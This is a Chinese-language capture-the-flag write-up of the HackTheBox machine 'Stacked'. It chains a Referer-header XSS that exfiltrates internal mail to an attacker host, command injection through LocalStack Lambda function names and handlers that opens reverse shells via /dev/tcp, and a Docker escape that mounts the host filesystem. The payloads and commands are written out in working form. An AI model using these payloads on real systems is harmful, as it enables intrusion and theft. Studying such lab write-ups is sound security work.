01.信息搜集 端口扫描 1 2 fscan -h 10.129.228.28 # 22, 80, 2376
1 2 3 4 5 6 7 8 9 10 sudo nmap -sT -sV -sC -O -p 22,80,2376 10.129.228.28 -oA nmapscan/detailPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not redirect to http://stacked.htb/ 2376/tcp open ssl/docker? | ssl-cert: Subject: commonName=stacked | Subject Alternative Name: DNS:localhost, DNS:stacked, IP Address:172.17.0.1 |_Not valid after: 2035-06-30T10:59:41
关键发现:2376 端口是 Docker TLS API ,证书 SAN 包含 172.17.0.1(Docker 桥接网关)。
域名枚举 1 2 3 echo "10.129.228.28 stacked.htb" >> /etc/hostsffuf -w namelist.txt -H "Host: FUZZ.stacked.htb" -u http://10.129.228.28 -fs 281-304
发现子域名:
portfolio.stacked.htb — 开发者作品集网站
mail.stacked.htb — 内部邮件系统
s3-testing.stacked.htb — LocalStack S3/Lambda API
1 echo "10.129.228.28 portfolio.stacked.htb mail.stacked.htb s3-testing.stacked.htb" >> /etc/hosts
02.渗透打点 Portfolio — docker-compose.yml 泄露 访问 http://portfolio.stacked.htb/files/docker-compose.yml 发现完整配置:
1 2 3 4 5 6 7 8 9 10 11 12 services: localstack: image: localstack/localstack-full:0.12.6 network_mode: bridge ports: - "127.0.0.1:8080:8080" environment: - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- } - DOCKER_HOST=unix:///var/run/docker.sock volumes: - "/tmp/localstack:/tmp/localstack" - "/var/run/docker.sock:/var/run/docker.sock"
关键信息:
LocalStack Dashboard 监听 127.0.0.1:8080(仅内网可访问)
Docker socket 挂载进容器(容器可操作宿主机 Docker)
LAMBDA_EXECUTOR 未设置 → 检测不到 Docker 时回退 local 模式
Mail — 内部邮件 & XSS 通过 Contact Form 的 Referer XSS 读取内部邮件:
1 2 3 4 curl -X POST http://portfolio.stacked.htb/process.php \ -H "Referer: <script src='http://10.10.17.22:9000/'></script>" \ -d "fullname=test&email=test@test.htb&tel=000&subject=test&message=test"
1 2 3 4 5 6 7 8 9 10 11 var fetch_req = new XMLHttpRequest ();fetch_req.onreadystatechange = function ( ){ if (this .readyState == 4 ) { var exfil_req = new XMLHttpRequest (); exfil_req.open ("POST" , "http://10.10.17.22:3000" , false ); exfil_req.send ("Page Source:\n" + fetch_req.response ); } }; fetch_req.open ("GET" , "http://mail.stacked.htb/read-mail.php?id=1" , false ); fetch_req.send ();
邮件内容泄露:
“I have set up S3 instance on s3-testing.stacked.htb so that you can configure the IAM users, roles and permissions. I have initialized a serverless instance for you to work from but keep in mind for the time being you can only run node instances.”
→ 确认 s3-testing.stacked.htb 是 LocalStack API,且支持 Node.js Lambda。
S3-testing (LocalStack) 1 2 3 4 5 curl http://s3-testing.stacked.htb/ curl http://s3-testing.stacked.htb/health
03.阶段一:获取 localstack 用户 Shell 命令注入点发现 LocalStack 处理 Lambda create-function 时,函数名 会被拼接到 docker create 命令中(容器模式下)。由于函数名未经过滤,分号 ; 可截断原命令并注入新命令。
但在本靶机中,LAMBDA_EXECUTOR 未设置 → Docker 不可用时自动回退 local 模式。命令注入依然生效,因为在 local 模式下也会调用 bash -c 执行。
创建恶意 Lambda 函数 1 2 3 4 5 6 7 8 9 10 11 12 aws configure cat > lambda.js << 'EOF' 'use strict' ;exports.apiHandler = (payload, context, callback) => { callback(null, { statusCode: 201, body: JSON.stringify({ message: 'Hello' }) }); }; EOF zip api-handler.zip lambda.js
1 2 3 4 5 6 7 8 9 aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --region eu-west-1 \ --function-name 'api;bash -c "bash -i >& /dev/tcp/10.10.15.204/7777 0>&1"' \ --runtime nodejs8.10 \ --handler lambda.apiHandler \ --memory-size 128 \ --zip-file fileb://api-handler.zip \ --role arn:aws:iam::123456:role/irrelevant
注入原理 :函数名 api;bash -c "..." → shell 中 api 执行后,分号触发 bash -c "reverse shell"。
触发 Lambda(XSS → Dashboard) Dashboard 在 127.0.0.1:8080,通过 Referer XSS 重定向触发:
1 2 3 curl -X POST http://portfolio.stacked.htb/process.php \ -H "Referer: <script>document.location='http://127.0.0.1:8080'</script>" \ -d "fullname=xss&email=x@t.htb&tel=111&subject=x&message=x"
Dashboard 加载时会列出所有 Lambda 函数,触发 Lambda 容器创建 ,命令注入执行 → 反弹 shell。
1 2 3 4 5 6 7 nc -lvnp 7777 cat /home/localstack/user.txt
注意 :create-function 本身不会 触发注入,必须通过 Dashboard 访问或 invoke 调用才会触发。需等待 XSS bot 访问(约 1-2 分钟)。
04.阶段二:提权至容器 Root 分析 LocalStack 代码 1 2 grep -n "LAMBDA_EXECUTOR" /opt/code/localstack/localstack/config.py
1 2 3 4 5 6 LAMBDA_EXECUTOR = os.environ.get('LAMBDA_EXECUTOR' , '' ).strip() if not LAMBDA_EXECUTOR: LAMBDA_EXECUTOR = 'docker' if not has_docker(): LAMBDA_EXECUTOR = 'local'
查看 lambda_executors.py 中 Java Lambda 的命令构造(第 307-312 行):
1 2 command = ("bash -c 'cd %s; java %s -cp \"%s\" \"%s\" \"%s\" \"%s\"'" % (taskdir, java_opts, classpath, LAMBDA_EXECUTOR_CLASS, handler, events_file))
handler 参数直接拼接到 bash -c 命令中! 虽然这是 Java Lambda 的路径,但我们发现 Node.js Lambda 在 local 模式下也会通过类似的 shell 命令执行,handler 参数同样存在注入。
Handler 注入($() 命令替换) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 nc -lvnp 9999 & aws lambda --endpoint=http://s3-testing.stacked.htb create-function \ --region eu-west-1 \ --function-name "testfunction2" \ --runtime nodejs8.10 \ --handler 'lambda.apiHandler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.15.204/9999 0>&1")' \ --memory-size 128 \ --zip-file fileb://api-handler.zip \ --role arn:aws:iam::123456:role/irrelevant aws lambda --endpoint=http://s3-testing.stacked.htb invoke \ --region eu-west-1 \ --function-name "testfunction2" out
注入原理 :handler 值 lambda.apiHandler $(command) → $() 是 Bash 命令替换语法,在 bash -c 中 $(command) 先执行,输出替换回原命令。由于 Docker 以 root 执行 bash -c,注入的命令也以 root 运行。
1 2 3 4 5 bash-5.0# id uid=0(root) gid=0(root) groups =0(root),1(bin),... bash-5.0# hostname ddac02619704
对比 :Phase 1 函数名注入执行的是 docker create 的命令行 → 在容器内 localstack 用户上下文执行。Phase 2 handler 注入在 bash -c 内部 → root 上下文。
05.阶段三:Docker 逃逸获取宿主机 Root Flag 发现 Docker TCP 访问 1 2 3 4 5 6 7 8 9 10 11 12 13 14 bash-5.0# echo $DOCKER_HOST tcp://172.17.0.1:2376 bash-5.0# docker ps CONTAINER ID IMAGE NAMES ddac02619704 localstack/localstack-full:0.12.6 localstack_main bash-5.0# docker image ls REPOSITORY TAG IMAGE ID localstack/localstack-full 0.12.6 7085b5de9f7c localstack/localstack-full <none> 0601ea177088 lambci/lambda nodejs8.10 5754fee26e6e lambci/lambda nodejs10.x db93be728e7b lambci/lambda nodejs12.x 22a4ada8399c
docker-compose.yml 中的 DOCKER_HOST=unix:///var/run/docker.sock 加上 network_mode: bridge,使容器内 Docker CLI 通过 TCP 连接到宿主机的 Docker Daemon(172.17.0.1 是 Docker 桥接网关)。
挂载宿主机根目录 1 2 3 docker run -v /:/mnt --entrypoint sh 0601ea177088 -c "cat /mnt/root/root.txt"
注意 :通过反向 shell 操作时需去掉 -it(非 TTY 环境会报 the input device is not a TTY)。
逃生路径 :localstack 容器 root → 宿主机 Docker API(TCP 2376)→ docker run -v /:/mnt 挂载宿主机根目录 → 读取 root.txt
06.攻击链路总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Portfolio Contact Form (Referer XSS) ↓ 重定向浏览器到 LocalStack Dashboard (127.0.0.1:8080) ↓ 触发 Lambda 执行 Phase 1: --function-name 命令注入 → localstack 用户 Shell → user.txt ✓ Phase 2: --handler $() 命令替换注入 → 容器内 root Shell Phase 3: DOCKER_HOST=tcp://172.17.0.1:2376 → docker run -v /:/mnt 挂载宿主机 → root.txt ✓
两种命令注入对比
注入点
注入方式
执行上下文
获得权限
--function-name
api;bash -c "..."
docker create 命令行
localstack 用户
--handler
handler $(command)
bash -c 内部命令替换
root
关键配置错误
Contact Form XSS :Referer 头未过滤,存储型 XSS
LocalStack 未认证 :S3/Lambda API 无需 AWS 凭证
Lambda 命令注入 :函数名和 handler 拼接到 shell 命令未过滤
Docker TCP 暴露 :DOCKER_HOST=tcp://172.17.0.1:2376 允许容器操作宿主机 Docker
Privileged Docker API :宿主机 Docker daemon 以 root 运行,可挂载任意目录
07.附录:源码分析 LAMBDA_EXECUTOR 回退逻辑 /opt/code/localstack/localstack/config.py:
1 2 3 4 5 LAMBDA_EXECUTOR = os.environ.get('LAMBDA_EXECUTOR' , '' ).strip() if not LAMBDA_EXECUTOR: LAMBDA_EXECUTOR = 'docker' if not has_docker(): LAMBDA_EXECUTOR = 'local'
Java Lambda handler 注入点 /opt/code/localstack/localstack/services/awslambda/lambda_executors.py:312:
1 2 command = ("bash -c 'cd %s; java %s -cp \"%s\" \"%s\" \"%s\" \"%s\"'" % (taskdir, java_opts, classpath, LAMBDA_EXECUTOR_CLASS, handler, events_file))
Docker 容器创建命令 lambda_executors.py:454-467:
1 2 3 4 5 6 7 8 9 cmd = ( '%s create' ' --name "%s"' ' --entrypoint /bin/bash' ' --interactive' ' %s' ' %s' ' %s' ) % (docker_cmd, container_name, env_vars_str, network_str, docker_image)
docker-compose.yml 完整配置 http://portfolio.stacked.htb/files/docker-compose.yml:
1 2 3 4 5 6 7 8 9 10 11 12 services: localstack: image: localstack/localstack-full:0.12.6 network_mode: bridge ports: - "127.0.0.1:8080:8080" environment: - LAMBDA_EXECUTOR=${LAMBDA_EXECUTOR- } - DOCKER_HOST=unix:///var/run/docker.sock volumes: - "/tmp/localstack:/tmp/localstack" - "/var/run/docker.sock:/var/run/docker.sock"